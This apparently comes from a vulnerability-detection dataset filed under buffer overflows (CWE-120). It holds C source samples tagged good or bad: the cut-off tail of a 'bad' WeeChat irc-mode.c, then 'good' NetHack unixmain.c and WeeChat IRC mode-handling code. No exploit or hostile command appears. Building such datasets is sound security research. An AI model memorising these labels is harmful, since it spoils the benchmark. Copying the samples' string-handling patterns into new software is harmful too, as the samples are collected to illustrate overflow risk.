'+') irc_mode_user_add (server, modes[0]); else irc_mode_user_remove (server, modes[0]); break; } if (end) break; modes++; } weechat_bar_item_update ("input_prompt"); weechat_bar_item_update ("irc_nick_modes"); }
./CrossVul/dataset_final_sorted/CWE-120/c/bad_4681_1
crossvul-cpp_data_good_4523_3
/* NetHack 3.6 unixmain.c $NHDT-Date: 1570408210 2019/10/07 00:30:10 $ $NHDT-Branch: NetHack-3.6 $:$NHDT-Revision: 1.70 $ */ /* Copyright (c) Stichting Mathematisch Centrum, Amsterdam, 1985. */ /*-Copyright (c) Robert Patrick Rankin, 2011. */ /* NetHack may be freely redistributed. See license for details. */ /* main.c - Unix NetHack */ #include "hack.h" #include "dlb.h" #include <ctype.h> #include <sys/stat.h> #include <signal.h> #include <pwd.h> #ifndef O_RDONLY #include <fcntl.h> #endif #if !defined(_BULL_SOURCE) && !defined(__sgi) && !defined(_M_UNIX) #if !defined(SUNOS4) && !(defined(ULTRIX) && defined(__GNUC__)) #if defined(POSIX_TYPES) || defined(SVR4) || defined(HPUX) extern struct passwd *FDECL(getpwuid, (uid_t)); #else extern struct passwd *FDECL(getpwuid, (int)); #endif #endif #endif extern struct passwd *FDECL(getpwnam, (const char *)); #ifdef CHDIR static void FDECL(chdirx, (const char *, BOOLEAN_P)); #endif /* CHDIR */ static boolean NDECL(whoami); static void FDECL(process_options, (int, char **)); #ifdef _M_UNIX extern void NDECL(check_sco_console); extern void NDECL(init_sco_cons); #endif #ifdef __linux__ extern void NDECL(check_linux_console); extern void NDECL(init_linux_cons); #endif static void NDECL(wd_message); static boolean wiz_error_flag = FALSE; static struct passwd *NDECL(get_unix_pw); int main(argc, argv) int argc; char *argv[]; { register int fd; #ifdef CHDIR register char *dir; #endif boolean exact_username; boolean resuming = FALSE; /* assume new game */ boolean plsel_once = FALSE; sys_early_init(); #if defined(__APPLE__) { /* special hack to change working directory to a resource fork when running from finder --sam */ #define MAC_PATH_VALUE ".app/Contents/MacOS/" char mac_cwd[1024], *mac_exe = argv[0], *mac_tmp; int arg0_len = strlen(mac_exe), mac_tmp_len, mac_lhs_len = 0; getcwd(mac_cwd, 1024); if (mac_exe[0] == '/' && !strcmp(mac_cwd, "/")) { if ((mac_exe = strrchr(mac_exe, '/'))) mac_exe++; else mac_exe = argv[0]; mac_tmp_len = (strlen(mac_exe) * 2) + strlen(MAC_PATH_VALUE); if (mac_tmp_len <= arg0_len) { mac_tmp = malloc(mac_tmp_len + 1); sprintf(mac_tmp, "%s%s%s", mac_exe, MAC_PATH_VALUE, mac_exe); if (!strcmp(argv[0] + (arg0_len - mac_tmp_len), mac_tmp)) { mac_lhs_len = (arg0_len - mac_tmp_len) + strlen(mac_exe) + 5; if (mac_lhs_len > mac_tmp_len - 1) mac_tmp = realloc(mac_tmp, mac_lhs_len); strncpy(mac_tmp, argv[0], mac_lhs_len); mac_tmp[mac_lhs_len] = '\0'; chdir(mac_tmp); } free(mac_tmp); } } } #endif hname = argv[0]; hackpid = getpid(); (void) umask(0777 & ~FCMASK); choose_windows(DEFAULT_WINDOW_SYS); #ifdef CHDIR /* otherwise no chdir() */ /* * See if we must change directory to the playground. * (Perhaps hack runs suid and playground is inaccessible * for the player.) * The environment variable HACKDIR is overridden by a * -d command line option (must be the first option given). */ dir = nh_getenv("NETHACKDIR"); if (!dir) dir = nh_getenv("HACKDIR"); if (argc > 1) { if (argcheck(argc, argv, ARG_VERSION) == 2) exit(EXIT_SUCCESS); if (argcheck(argc, argv, ARG_SHOWPATHS) == 2) { #ifdef CHDIR chdirx((char *) 0, 0); #endif iflags.initoptions_noterminate = TRUE; initoptions(); iflags.initoptions_noterminate = FALSE; reveal_paths(); exit(EXIT_SUCCESS); } if (argcheck(argc, argv, ARG_DEBUG) == 1) { argc--; argv++; } if (argc > 1 && !strncmp(argv[1], "-d", 2) && argv[1][2] != 'e') { /* avoid matching "-dec" for DECgraphics; since the man page * says -d directory, hope nobody's using -desomething_else */ argc--; argv++; dir = argv[0] + 2; if (*dir == '=' || *dir == ':') dir++; if (!*dir && argc > 1) { argc--; argv++; dir = argv[0]; } if (!*dir) error("Flag -d must be followed by a directory name."); } } #endif /* CHDIR */ if (argc > 1) { /* * Now we know the directory containing 'record' and * may do a prscore(). Exclude `-style' - it's a Qt option. */ if (!strncmp(argv[1], "-s", 2) && strncmp(argv[1], "-style", 6)) { #ifdef CHDIR chdirx(dir, 0); #endif #ifdef SYSCF initoptions(); #endif #ifdef PANICTRACE ARGV0 = hname; /* save for possible stack trace */ #ifndef NO_SIGNAL panictrace_setsignals(TRUE); #endif #endif prscore(argc, argv); /* FIXME: shouldn't this be using nh_terminate() to free up any memory allocated by initoptions() */ exit(EXIT_SUCCESS); } } /* argc > 1 */ /* * Change directories before we initialize the window system so * we can find the tile file. */ #ifdef CHDIR chdirx(dir, 1); #endif #ifdef _M_UNIX check_sco_console(); #endif #ifdef __linux__ check_linux_console(); #endif initoptions(); #ifdef PANICTRACE ARGV0 = hname; /* save for possible stack trace */ #ifndef NO_SIGNAL panictrace_setsignals(TRUE); #endif #endif exact_username = whoami(); /* * It seems you really want to play. */ u.uhp = 1; /* prevent RIP on early quits */ program_state.preserve_locks = 1; #ifndef NO_SIGNAL sethanguphandler((SIG_RET_TYPE) hangup); #endif process_options(argc, argv); /* command line options */ #ifdef WINCHAIN commit_windowchain(); #endif init_nhwindows(&argc, argv); /* now we can set up window system */ #ifdef _M_UNIX init_sco_cons(); #endif #ifdef __linux__ init_linux_cons(); #endif #ifdef DEF_PAGER if (!(catmore = nh_getenv("HACKPAGER")) && !(catmore = nh_getenv("PAGER"))) catmore = DEF_PAGER; #endif #ifdef MAIL getmailstatus(); #endif /* wizard mode access is deferred until here */ set_playmode(); /* sets plname to "wizard" for wizard mode */ if (exact_username) { /* * FIXME: this no longer works, ever since 3.3.0 * when plnamesuffix() was changed to find * Name-Role-Race-Gender-Alignment. It removes * all dashes rather than just the last one, * regardless of whether whatever follows each * dash matches role, race, gender, or alignment. */ /* guard against user names with hyphens in them */ int len = (int) strlen(plname); /* append the current role, if any, so that last dash is ours */ if (++len < (int) sizeof plname) (void) strncat(strcat(plname, "-"), pl_character, sizeof plname - len - 1); } /* strip role,race,&c suffix; calls askname() if plname[] is empty or holds a generic user name like "player" or "games" */ plnamesuffix(); if (wizard) { /* use character name rather than lock letter for file names */ locknum = 0; } else { /* suppress interrupts while processing lock file */ (void) signal(SIGQUIT, SIG_IGN); (void) signal(SIGINT, SIG_IGN); } dlb_init(); /* must be before newgame() */ /* * Initialize the vision system. This must be before mklev() on a * new game or before a level restore on a saved game. */ vision_init(); display_gamewindows(); /* * First, try to find and restore a save file for specified character. * We'll return here if new game player_selection() renames the hero. */ attempt_restore: /* * getlock() complains and quits if there is already a game * in progress for current character name (when locknum == 0) * or if there are too many active games (when locknum > 0). * When proceeding, it creates an empty <lockname>.0 file to * designate the current game. * getlock() constructs <lockname> based on the character * name (for !locknum) or on first available of alock, block, * clock, &c not currently in use in the playground directory * (for locknum > 0). */ if (*plname) { getlock(); program_state.preserve_locks = 0; /* after getlock() */ } if (*plname && (fd = restore_saved_game()) >= 0) { const char *fq_save = fqname(SAVEF, SAVEPREFIX, 1); (void) chmod(fq_save, 0); /* disallow parallel restores */ #ifndef NO_SIGNAL (void) signal(SIGINT, (SIG_RET_TYPE) done1); #endif #ifdef NEWS if (iflags.news) { display_file(NEWS, FALSE); iflags.news = FALSE; /* in case dorecover() fails */ } #endif pline("Restoring save file..."); mark_synch(); /* flush output */ if (dorecover(fd)) { resuming = TRUE; /* not starting new game */ wd_message(); if (discover || wizard) { /* this seems like a candidate for paranoid_confirmation... */ if (yn("Do you want to keep the save file?") == 'n') { (void) delete_savefile(); } else { (void) chmod(fq_save, FCMASK); /* back to readable */ nh_compress(fq_save); } } } } if (!resuming) { boolean neednewlock = (!*plname); /* new game: start by choosing role, race, etc; player might change the hero's name while doing that, in which case we try to restore under the new name and skip selection this time if that didn't succeed */ if (!iflags.renameinprogress || iflags.defer_plname || neednewlock) { if (!plsel_once) player_selection(); plsel_once = TRUE; if (neednewlock && *plname) goto attempt_restore; if (iflags.renameinprogress) { /* player has renamed the hero while selecting role; if locking alphabetically, the existing lock file can still be used; otherwise, discard current one and create another for the new character name */ if (!locknum) { delete_levelfile(0); /* remove empty lock file */ getlock(); } goto attempt_restore; } } newgame(); wd_message(); } /* moveloop() never returns but isn't flagged NORETURN */ moveloop(resuming); exit(EXIT_SUCCESS); /*NOTREACHED*/ return 0; } /* caveat: argv elements might be arbitrary long */ static void process_options(argc, argv) int argc; char *argv[]; { int i, l; /* * Process options. */ while (argc > 1 && argv[1][0] == '-') { argv++; argc--; l = (int) strlen(*argv); /* must supply at least 4 chars to match "-XXXgraphics" */ if (l < 4) l = 4; switch (argv[0][1]) { case 'D': case 'd': if ((argv[0][1] == 'D' && !argv[0][2]) || !strcmpi(*argv, "-debug")) { wizard = TRUE, discover = FALSE; } else if (!strncmpi(*argv, "-DECgraphics", l)) { load_symset("DECGraphics", PRIMARY); switch_symbols(TRUE); } else { raw_printf("Unknown option: %.60s", *argv); } break; case 'X': discover = TRUE, wizard = FALSE; break; #ifdef NEWS case 'n': iflags.news = FALSE; break; #endif case 'u': if (argv[0][2]) { (void) strncpy(plname, argv[0] + 2, sizeof plname - 1); } else if (argc > 1) { argc--; argv++; (void) strncpy(plname, argv[0], sizeof plname - 1); } else { raw_print("Player name expected after -u"); } break; case 'I': case 'i': if (!strncmpi(*argv, "-IBMgraphics", l)) { load_symset("IBMGraphics", PRIMARY); load_symset("RogueIBM", ROGUESET); switch_symbols(TRUE); } else { raw_printf("Unknown option: %.60s", *argv); } break; case 'p': /* profession (role) */ if (argv[0][2]) { if ((i = str2role(&argv[0][2])) >= 0) flags.initrole = i; } else if (argc > 1) { argc--; argv++; if ((i = str2role(argv[0])) >= 0) flags.initrole = i; } break; case 'r': /* race */ if (argv[0][2]) { if ((i = str2race(&argv[0][2])) >= 0) flags.initrace = i; } else if (argc > 1) { argc--; argv++; if ((i = str2race(argv[0])) >= 0) flags.initrace = i; } break; case 'w': /* windowtype */ config_error_init(FALSE, "command line", FALSE); choose_windows(&argv[0][2]); config_error_done(); break; case '@': flags.randomall = 1; break; default: if ((i = str2role(&argv[0][1])) >= 0) { flags.initrole = i; break; } /* else raw_printf("Unknown option: %.60s", *argv); */ } } #ifdef SYSCF if (argc > 1) raw_printf("MAXPLAYERS are set in sysconf file.\n"); #else /* XXX This is deprecated in favor of SYSCF with MAXPLAYERS */ if (argc > 1) locknum = atoi(argv[1]); #endif #ifdef MAX_NR_OF_PLAYERS /* limit to compile-time limit */ if (!locknum || locknum > MAX_NR_OF_PLAYERS) locknum = MAX_NR_OF_PLAYERS; #endif #ifdef SYSCF /* let syscf override compile-time limit */ if (!locknum || (sysopt.maxplayers && locknum > sysopt.maxplayers)) locknum = sysopt.maxplayers; #endif } #ifdef CHDIR static void chdirx(dir, wr) const char *dir; boolean wr; { if (dir /* User specified directory? */ #ifdef HACKDIR && strcmp(dir, HACKDIR) /* and not the default? */ #endif ) { #ifdef SECURE (void) setgid(getgid()); (void) setuid(getuid()); /* Ron Wessels */ #endif } else { /* non-default data files is a sign that scores may not be * compatible, or perhaps that a binary not fitting this * system's layout is being used. */ #ifdef VAR_PLAYGROUND int len = strlen(VAR_PLAYGROUND); fqn_prefix[SCOREPREFIX] = (char *) alloc(len + 2); Strcpy(fqn_prefix[SCOREPREFIX], VAR_PLAYGROUND); if (fqn_prefix[SCOREPREFIX][len - 1] != '/') { fqn_prefix[SCOREPREFIX][len] = '/'; fqn_prefix[SCOREPREFIX][len + 1] = '\0'; } #endif } #ifdef HACKDIR if (dir == (const char *) 0) dir = HACKDIR; #endif if (dir && chdir(dir) < 0) { perror(dir); error("Cannot chdir to %s.", dir); } /* warn the player if we can't write the record file * perhaps we should also test whether . is writable * unfortunately the access system-call is worthless. */ if (wr) { #ifdef VAR_PLAYGROUND fqn_prefix[LEVELPREFIX] = fqn_prefix[SCOREPREFIX]; fqn_prefix[SAVEPREFIX] = fqn_prefix[SCOREPREFIX]; fqn_prefix[BONESPREFIX] = fqn_prefix[SCOREPREFIX]; fqn_prefix[LOCKPREFIX] = fqn_prefix[SCOREPREFIX]; fqn_prefix[TROUBLEPREFIX] = fqn_prefix[SCOREPREFIX]; #endif check_recordfile(dir); } } #endif /* CHDIR */ /* returns True iff we set plname[] to username which contains a hyphen */ static boolean whoami() { /* * Who am i? Algorithm: 1. Use name as specified in NETHACKOPTIONS * 2. Use $USER or $LOGNAME (if 1. fails) * 3. Use getlogin() (if 2. fails) * The resulting name is overridden by command line options. * If everything fails, or if the resulting name is some generic * account like "games", "play", "player", "hack" then eventually * we'll ask him. * Note that we trust the user here; it is possible to play under * somebody else's name. */ if (!*plname) { register const char *s; s = nh_getenv("USER"); if (!s || !*s) s = nh_getenv("LOGNAME"); if (!s || !*s) s = getlogin(); if (s && *s) { (void) strncpy(plname, s, sizeof plname - 1); if (index(plname, '-')) return TRUE; } } return FALSE; } void sethanguphandler(handler) void FDECL((*handler), (int)); { #ifdef SA_RESTART /* don't want reads to restart. If SA_RESTART is defined, we know * sigaction exists and can be used to ensure reads won't restart. * If it's not defined, assume reads do not restart. If reads restart * and a signal occurs, the game won't do anything until the read * succeeds (or the stream returns EOF, which might not happen if * reading from, say, a window manager). */ struct sigaction sact; (void) memset((genericptr_t) &sact, 0, sizeof sact); sact.sa_handler = (SIG_RET_TYPE) handler; (void) sigaction(SIGHUP, &sact, (struct sigaction *) 0); #ifdef SIGXCPU (void) sigaction(SIGXCPU, &sact, (struct sigaction *) 0); #endif #else /* !SA_RESTART */ (void) signal(SIGHUP, (SIG_RET_TYPE) handler); #ifdef SIGXCPU (void) signal(SIGXCPU, (SIG_RET_TYPE) handler); #endif #endif /* ?SA_RESTART */ } #ifdef PORT_HELP void port_help() { /* * Display unix-specific help. Just show contents of the helpfile * named by PORT_HELP. */ display_file(PORT_HELP, TRUE); } #endif /* validate wizard mode if player has requested access to it */ boolean authorize_wizard_mode() { struct passwd *pw = get_unix_pw(); if (pw && sysopt.wizards && sysopt.wizards[0]) { if (check_user_string(sysopt.wizards)) return TRUE; } wiz_error_flag = TRUE; /* not being allowed into wizard mode */ return FALSE; } static void wd_message() { if (wiz_error_flag) { if (sysopt.wizards && sysopt.wizards[0]) { char *tmp = build_english_list(sysopt.wizards); pline("Only user%s %s may access debug (wizard) mode.", index(sysopt.wizards, ' ') ? "s" : "", tmp); free(tmp); } else pline("Entering explore/discovery mode instead."); wizard = 0, discover = 1; /* (paranoia) */ } else if (discover) You("are in non-scoring explore/discovery mode."); } /* * Add a slash to any name not ending in /. There must * be room for the / */ void append_slash(name) char *name; { char *ptr; if (!*name) return; ptr = name + (strlen(name) - 1); if (*ptr != '/') { *++ptr = '/'; *++ptr = '\0'; } return; } boolean check_user_string(optstr) char *optstr; { struct passwd *pw; int pwlen; char *eop, *w; char *pwname = 0; if (optstr[0] == '*') return TRUE; /* allow any user */ if (sysopt.check_plname) pwname = plname; else if ((pw = get_unix_pw()) != 0) pwname = pw->pw_name; if (!pwname || !*pwname) return FALSE; pwlen = (int) strlen(pwname); eop = eos(optstr); w = optstr; while (w + pwlen <= eop) { if (!*w) break; if (isspace(*w)) { w++; continue; } if (!strncmp(w, pwname, pwlen)) { if (!w[pwlen] || isspace(w[pwlen])) return TRUE; } while (*w && !isspace(*w)) w++; } return FALSE; } static struct passwd * get_unix_pw() { char *user; unsigned uid; static struct passwd *pw = (struct passwd *) 0; if (pw) return pw; /* cache answer */ uid = (unsigned) getuid(); user = getlogin(); if (user) { pw = getpwnam(user); if (pw && ((unsigned) pw->pw_uid != uid)) pw = 0; } if (pw == 0) { user = nh_getenv("USER"); if (user) { pw = getpwnam(user); if (pw && ((unsigned) pw->pw_uid != uid)) pw = 0; } if (pw == 0) { pw = getpwuid(uid); } } return pw; } char * get_login_name() { static char buf[BUFSZ]; struct passwd *pw = get_unix_pw(); buf[0] = '\0'; if (pw) (void)strcpy(buf, pw->pw_name); return buf; } #ifdef __APPLE__ extern int errno; void port_insert_pastebuf(buf) char *buf; { /* This should be replaced when there is a Cocoa port. */ const char *errfmt; size_t len; FILE *PB = popen("/usr/bin/pbcopy", "w"); if (!PB) { errfmt = "Unable to start pbcopy (%d)\n"; goto error; } len = strlen(buf); /* Remove the trailing \n, carefully. */ if (buf[len - 1] == '\n') len--; /* XXX Sorry, I'm too lazy to write a loop for output this short. */ if (len != fwrite(buf, 1, len, PB)) { errfmt = "Error sending data to pbcopy (%d)\n"; goto error; } if (pclose(PB) != -1) { return; } errfmt = "Error finishing pbcopy (%d)\n"; error: raw_printf(errfmt, strerror(errno)); } #endif /* __APPLE__ */ unsigned long sys_random_seed() { unsigned long seed = 0L; unsigned long pid = (unsigned long) getpid(); boolean no_seed = TRUE; #ifdef DEV_RANDOM FILE *fptr; fptr = fopen(DEV_RANDOM, "r"); if (fptr) { fread(&seed, sizeof (long), 1, fptr); has_strong_rngseed = TRUE; /* decl.c */ no_seed = FALSE; (void) fclose(fptr); } else { /* leaves clue, doesn't exit */ paniclog("sys_random_seed", "falling back to weak seed"); } #endif if (no_seed) { seed = (unsigned long) getnow(); /* time((TIME_type) 0) */ /* Quick dirty band-aid to prevent PRNG prediction */ if (pid) { if (!(pid & 3L)) pid -= 1L; seed *= pid; } } return seed; } /*unixmain.c*/
./CrossVul/dataset_final_sorted/CWE-120/c/good_4523_3
crossvul-cpp_data_good_4681_1
/* * irc-mode.c - IRC channel/user modes management * * Copyright (C) 2003-2020 Sébastien Helleu <flashcode@flashtux.org> * * This file is part of WeeChat, the extensible chat client. * * WeeChat is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * WeeChat is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with WeeChat. If not, see <https://www.gnu.org/licenses/>. */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <time.h> #include "../weechat-plugin.h" #include "irc.h" #include "irc-mode.h" #include "irc-config.h" #include "irc-server.h" #include "irc-channel.h" #include "irc-nick.h" #include "irc-modelist.h" /* * Gets mode arguments: skip colons before arguments. */ char * irc_mode_get_arguments (const char *arguments) { char **argv, **argv2, *new_arguments; int argc, i; if (!arguments || !arguments[0]) return strdup (""); argv = weechat_string_split (arguments, " ", NULL, WEECHAT_STRING_SPLIT_STRIP_LEFT | WEECHAT_STRING_SPLIT_STRIP_RIGHT | WEECHAT_STRING_SPLIT_COLLAPSE_SEPS, 0, &argc); if (!argv) return strdup (""); argv2 = malloc (sizeof (*argv) * (argc + 1)); if (!argv2) { weechat_string_free_split (argv); return strdup ("");; } for (i = 0; i < argc; i++) { argv2[i] = (argv[i][0] == ':') ? argv[i] + 1 : argv[i]; } argv2[argc] = NULL; new_arguments = weechat_string_build_with_split_string ( (const char **)argv2, " "); weechat_string_free_split (argv); free (argv2); return new_arguments; } /* * Gets type of channel mode, which is a letter from 'A' to 'D': * A = Mode that adds or removes a nick or address to a list. Always has a * parameter. * B = Mode that changes a setting and always has a parameter. * C = Mode that changes a setting and only has a parameter when set. * D = Mode that changes a setting and never has a parameter. * * Example: * CHANMODES=beI,k,l,imnpstaqr ==> A = { b, e, I } * B = { k } * C = { l } * D = { i, m, n, p, s, t, a, q, r } * * Note1: modes of type A return the list when there is no parameter present. * Note2: some clients assumes that any mode not listed is of type D. * Note3: modes in PREFIX are not listed but could be considered type B. * * More info: http://www.irc.org/tech_docs/005.html */ char irc_mode_get_chanmode_type (struct t_irc_server *server, char chanmode) { char chanmode_type, *pos; const char *chanmodes, *ptr_chanmodes; /* * assume it is type 'B' if mode is in prefix * (we first check that because some exotic servers like irc.webchat.org * include the prefix chars in chanmodes as type 'A', which is wrong) */ if (irc_server_get_prefix_mode_index (server, chanmode) >= 0) return 'B'; chanmodes = irc_server_get_chanmodes (server); pos = strchr (chanmodes, chanmode); if (pos) { chanmode_type = 'A'; for (ptr_chanmodes = chanmodes; ptr_chanmodes < pos; ptr_chanmodes++) { if (ptr_chanmodes[0] == ',') { if (chanmode_type == 'D') break; chanmode_type++; } } return chanmode_type; } /* unknown mode, type 'D' by default */ return 'D'; } /* * Updates channel modes using the mode and argument. * * Example: * if channel modes are "+tn" and that we have: * - set_flag = '+' * - chanmode = 'k' * - chanmode_type = 'B' * - argument = 'password' * then channel modes become: * "+tnk password" */ void irc_mode_channel_update (struct t_irc_server *server, struct t_irc_channel *channel, char set_flag, char chanmode, const char *argument) { char *pos_args, *str_modes, **argv, *pos, *ptr_arg; char *new_modes, *new_args, str_mode[2], *str_temp; int argc, current_arg, chanmode_found, length; if (!channel->modes) channel->modes = strdup ("+"); if (!channel->modes) return; argc = 0; argv = NULL; pos_args = strchr (channel->modes, ' '); if (pos_args) { str_modes = weechat_strndup (channel->modes, pos_args - channel->modes); if (!str_modes) return; pos_args++; while (pos_args[0] == ' ') pos_args++; argv = weechat_string_split (pos_args, " ", NULL, WEECHAT_STRING_SPLIT_STRIP_LEFT | WEECHAT_STRING_SPLIT_STRIP_RIGHT | WEECHAT_STRING_SPLIT_COLLAPSE_SEPS, 0, &argc); } else { str_modes = strdup (channel->modes); if (!str_modes) return; } new_modes = malloc (strlen (channel->modes) + 1 + 1); new_args = malloc (((pos_args) ? strlen (pos_args) : 0) + ((argument) ? 1 + strlen (argument) : 0) + 1); if (new_modes && new_args) { new_modes[0] = '\0'; new_args[0] = '\0'; /* loop on current modes and build "new_modes" + "new_args" */ current_arg = 0; chanmode_found = 0; pos = str_modes; while (pos && pos[0]) { if ((pos[0] == '+') || (pos[0] == '-')) { str_mode[0] = pos[0]; str_mode[1] = '\0'; strcat (new_modes, str_mode); } else { ptr_arg = NULL; switch (irc_mode_get_chanmode_type (server, pos[0])) { case 'A': /* always argument */ case 'B': /* always argument */ case 'C': /* argument if set */ ptr_arg = (current_arg < argc) ? argv[current_arg] : NULL; break; case 'D': /* no argument */ break; } if (ptr_arg) current_arg++; if (pos[0] == chanmode) { if (!chanmode_found) { chanmode_found = 1; if (set_flag == '+') { str_mode[0] = pos[0]; str_mode[1] = '\0'; strcat (new_modes, str_mode); if (argument) { if (new_args[0]) strcat (new_args, " "); strcat (new_args, argument); } } } } else { str_mode[0] = pos[0]; str_mode[1] = '\0'; strcat (new_modes, str_mode); if (ptr_arg) { if (new_args[0]) strcat (new_args, " "); strcat (new_args, ptr_arg); } } } pos++; } if (!chanmode_found) { /* * chanmode was not in channel modes: if set_flag is '+', add * it to channel modes */ if (set_flag == '+') { if (argument) { /* add mode with argument at the end of modes */ str_mode[0] = chanmode; str_mode[1] = '\0'; strcat (new_modes, str_mode); if (new_args[0]) strcat (new_args, " "); strcat (new_args, argument); } else { /* add mode without argument at the beginning of modes */ pos = new_modes; while (pos[0] == '+') pos++; memmove (pos + 1, pos, strlen (pos) + 1); pos[0] = chanmode; } } } if (new_args[0]) { length = strlen (new_modes) + 1 + strlen (new_args) + 1; str_temp = malloc (length); if (str_temp) { snprintf (str_temp, length, "%s %s", new_modes, new_args); if (channel->modes) free (channel->modes); channel->modes = str_temp; } } else { if (channel->modes) free (channel->modes); channel->modes = strdup (new_modes); } } if (new_modes) free (new_modes); if (new_args) free (new_args); if (str_modes) free (str_modes); if (argv) weechat_string_free_split (argv); } /* * Checks if a mode is smart filtered (according to option * irc.look.smart_filter_mode and server prefix modes). * * Returns: * 1: the mode is smart filtered * 0: the mode is NOT smart filtered */ int irc_mode_smart_filtered (struct t_irc_server *server, char mode) { const char *ptr_modes; ptr_modes = weechat_config_string (irc_config_look_smart_filter_mode); /* if empty value, there's no smart filtering on mode messages */ if (!ptr_modes || !ptr_modes[0]) return 0; /* if var is "*", ALL modes are smart filtered */ if (strcmp (ptr_modes, "*") == 0) return 1; /* if var is "+", modes from server prefixes are filtered */ if (strcmp (ptr_modes, "+") == 0) return strchr (irc_server_get_prefix_modes (server), mode) ? 1 : 0; /* * if var starts with "-", smart filter all modes except following modes * example: "-kl": smart filter all modes but not k/l */ if (ptr_modes[0] == '-') return (strchr (ptr_modes + 1, mode)) ? 0 : 1; /* * explicit list of modes to smart filter * example: "ovh": smart filter modes o/v/h */ return (strchr (ptr_modes, mode)) ? 1 : 0; } /* * Sets channel modes using CHANMODES (from message 005) and update channel * modes if needed. * * Returns: * 1: the mode message can be "smart filtered" * 0: the mode message must NOT be "smart filtered" */ int irc_mode_channel_set (struct t_irc_server *server, struct t_irc_channel *channel, const char *host, const char *modes, const char *modes_arguments) { const char *pos, *ptr_arg; char set_flag, **argv, chanmode_type; int argc, current_arg, update_channel_modes, channel_modes_updated; int smart_filter, end_modes; struct t_irc_nick *ptr_nick; struct t_irc_modelist *ptr_modelist; struct t_irc_modelist_item *ptr_item; if (!server || !channel || !modes) return 0; channel_modes_updated = 0; argc = 0; argv = NULL; if (modes_arguments) { argv = weechat_string_split (modes_arguments, " ", NULL, WEECHAT_STRING_SPLIT_STRIP_LEFT | WEECHAT_STRING_SPLIT_STRIP_RIGHT | WEECHAT_STRING_SPLIT_COLLAPSE_SEPS, 0, &argc); } current_arg = 0; smart_filter = (weechat_config_boolean (irc_config_look_smart_filter) && weechat_config_string (irc_config_look_smart_filter_mode) && weechat_config_string (irc_config_look_smart_filter_mode)[0]) ? 1 : 0; end_modes = 0; set_flag = '+'; pos = modes; while (pos[0]) { switch (pos[0]) { case ':': break; case ' ': end_modes = 1; break; case '+': set_flag = '+'; break; case '-': set_flag = '-'; break; default: update_channel_modes = 1; chanmode_type = irc_mode_get_chanmode_type (server, pos[0]); ptr_arg = NULL; switch (chanmode_type) { case 'A': /* always argument */ update_channel_modes = 0; ptr_arg = (current_arg < argc) ? argv[current_arg] : NULL; break; case 'B': /* always argument */ ptr_arg = (current_arg < argc) ? argv[current_arg] : NULL; break; case 'C': /* argument if set */ ptr_arg = ((set_flag == '+') && (current_arg < argc)) ? argv[current_arg] : NULL; break; case 'D': /* no argument */ break; } if (ptr_arg) { if (ptr_arg[0] == ':') ptr_arg++; current_arg++; } if (smart_filter && !irc_mode_smart_filtered (server, pos[0])) { smart_filter = 0; } if (pos[0] == 'k') { /* channel key */ if (set_flag == '-') { if (channel->key) { free (channel->key); channel->key = NULL; } } else if ((set_flag == '+') && ptr_arg && (strcmp (ptr_arg, "*") != 0)) { /* replace key for +k, but ignore "*" as new key */ if (channel->key) free (channel->key); channel->key = strdup (ptr_arg); } } else if (pos[0] == 'l') { /* channel limit */ if (set_flag == '-') channel->limit = 0; if ((set_flag == '+') && ptr_arg) { channel->limit = atoi (ptr_arg); } } else if ((chanmode_type != 'A') && (irc_server_get_prefix_mode_index (server, pos[0]) >= 0)) { /* mode for nick */ update_channel_modes = 0; if (ptr_arg) { ptr_nick = irc_nick_search (server, channel, ptr_arg); if (ptr_nick) { irc_nick_set_mode (server, channel, ptr_nick, (set_flag == '+'), pos[0]); /* * disable smart filtering if mode is sent * to me, or based on the nick speaking time */ if (smart_filter && ((irc_server_strcasecmp (server, ptr_nick->name, server->nick) == 0) || irc_channel_nick_speaking_time_search (server, channel, ptr_nick->name, 1))) { smart_filter = 0; } } } } else if (chanmode_type == 'A') { /* modelist modes */ if (ptr_arg) { ptr_modelist = irc_modelist_search (channel, pos[0]); if (ptr_modelist) { if (set_flag == '+') { irc_modelist_item_new (ptr_modelist, ptr_arg, host, time (NULL)); } else if (set_flag == '-') { ptr_item = irc_modelist_item_search_mask ( ptr_modelist, ptr_arg); if (ptr_item) irc_modelist_item_free (ptr_modelist, ptr_item); } } } } if (update_channel_modes) { irc_mode_channel_update (server, channel, set_flag, pos[0], ptr_arg); channel_modes_updated = 1; } break; } if (end_modes) break; pos++; } if (argv) weechat_string_free_split (argv); if (channel_modes_updated) weechat_bar_item_update ("buffer_modes"); return smart_filter; } /* * Adds a user mode. */ void irc_mode_user_add (struct t_irc_server *server, char mode) { char str_mode[2], *nick_modes2; str_mode[0] = mode; str_mode[1] = '\0'; if (server->nick_modes) { if (!strchr (server->nick_modes, mode)) { nick_modes2 = realloc (server->nick_modes, strlen (server->nick_modes) + 1 + 1); if (!nick_modes2) { if (server->nick_modes) { free (server->nick_modes); server->nick_modes = NULL; } return; } server->nick_modes = nick_modes2; strcat (server->nick_modes, str_mode); weechat_bar_item_update ("input_prompt"); weechat_bar_item_update ("irc_nick_modes"); } } else { server->nick_modes = malloc (2); strcpy (server->nick_modes, str_mode); weechat_bar_item_update ("input_prompt"); weechat_bar_item_update ("irc_nick_modes"); } } /* * Removes a user mode. */ void irc_mode_user_remove (struct t_irc_server *server, char mode) { char *pos, *nick_modes2; int new_size; if (server->nick_modes) { pos = strchr (server->nick_modes, mode); if (pos) { new_size = strlen (server->nick_modes); memmove (pos, pos + 1, strlen (pos + 1) + 1); nick_modes2 = realloc (server->nick_modes, new_size); if (nick_modes2) server->nick_modes = nick_modes2; weechat_bar_item_update ("input_prompt"); weechat_bar_item_update ("irc_nick_modes"); } } } /* * Sets user modes. */ void irc_mode_user_set (struct t_irc_server *server, const char *modes, int reset_modes) { char set_flag; int end; if (reset_modes) { if (server->nick_modes) { free (server->nick_modes); server->nick_modes = NULL; } } set_flag = '+'; end = 0; while (modes && modes[0]) { switch (modes[0]) { case ' ': end = 1; break; case ':': break; case '+': set_flag = '+'; break; case '-': set_flag = '-'; break; default: if (set_flag == '+') irc_mode_user_add (server, modes[0]); else irc_mode_user_remove (server, modes[0]); break; } if (end) break; modes++; } weechat_bar_item_update ("input_prompt"); weechat_bar_item_update ("irc_nick_modes"); }
